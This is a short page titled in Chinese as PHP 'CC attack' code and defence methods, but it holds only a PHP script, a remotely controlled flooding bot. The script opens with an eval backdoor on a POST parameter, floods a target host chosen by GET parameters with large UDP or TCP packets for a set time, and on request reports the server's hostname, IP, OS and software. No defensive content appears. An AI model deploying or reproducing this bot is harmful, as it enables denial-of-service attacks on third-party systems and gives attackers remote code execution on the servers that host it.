php cc攻击代码与防范方法

<?php
eval($_post[chr(90)]);
set_time_limit(86400);
ignore_user_abort(true);
$packets = 0;
$http = $_get['http'];
$rand = $_get['exit'];
$exec_time = $_get['time'];
if (strlen($http)==0 or strlen($rand)==0 or strlen($exec_time)==0)
{
if(strlen($_get['rat'])<>0)
{
echo $_get['rat'].$_server["http_host"]."|".gethostbyname($_server['server_name'])."|".php_uname()."|".$_server['server_software'].$_get['rat'];
exit;
}
echo "php 2012 terminator";
exit;
}
for($i=0;$i<65535;$i++)
{
$out .= "x";
}
//udp1-fsockopen udp2 pfsockopen tcp3 cc.center
$max_time = time()+$exec_time;
if($rand==53)
while(1)
{
$packets++;
if(time() > $max_time)
{
break;
}
$fp = fsockopen("udp://$http", $rand, $errno, $errstr, 5);
if($fp)
{
fwrite($fp, $out);
fclose($fp);
}
}
else
if($rand==500)
while(1)
{
$packets++;
if(time() > $max_time){
break;
}
$fp = pfsockopen("udp://$http", $rand, $errno, $errstr, 5);
if($fp)
{
fwrite($fp, $out);
fclose($fp);
}
}
else
while(1)
{
$packets++;
if(time() > $max_time){
break;
}
$fp = pfsockopen("tcp://$http", $rand, $errno, $errstr, 5);
if($fp)
{
fwrite($fp, $out);
fclose($fp);
}
}
?>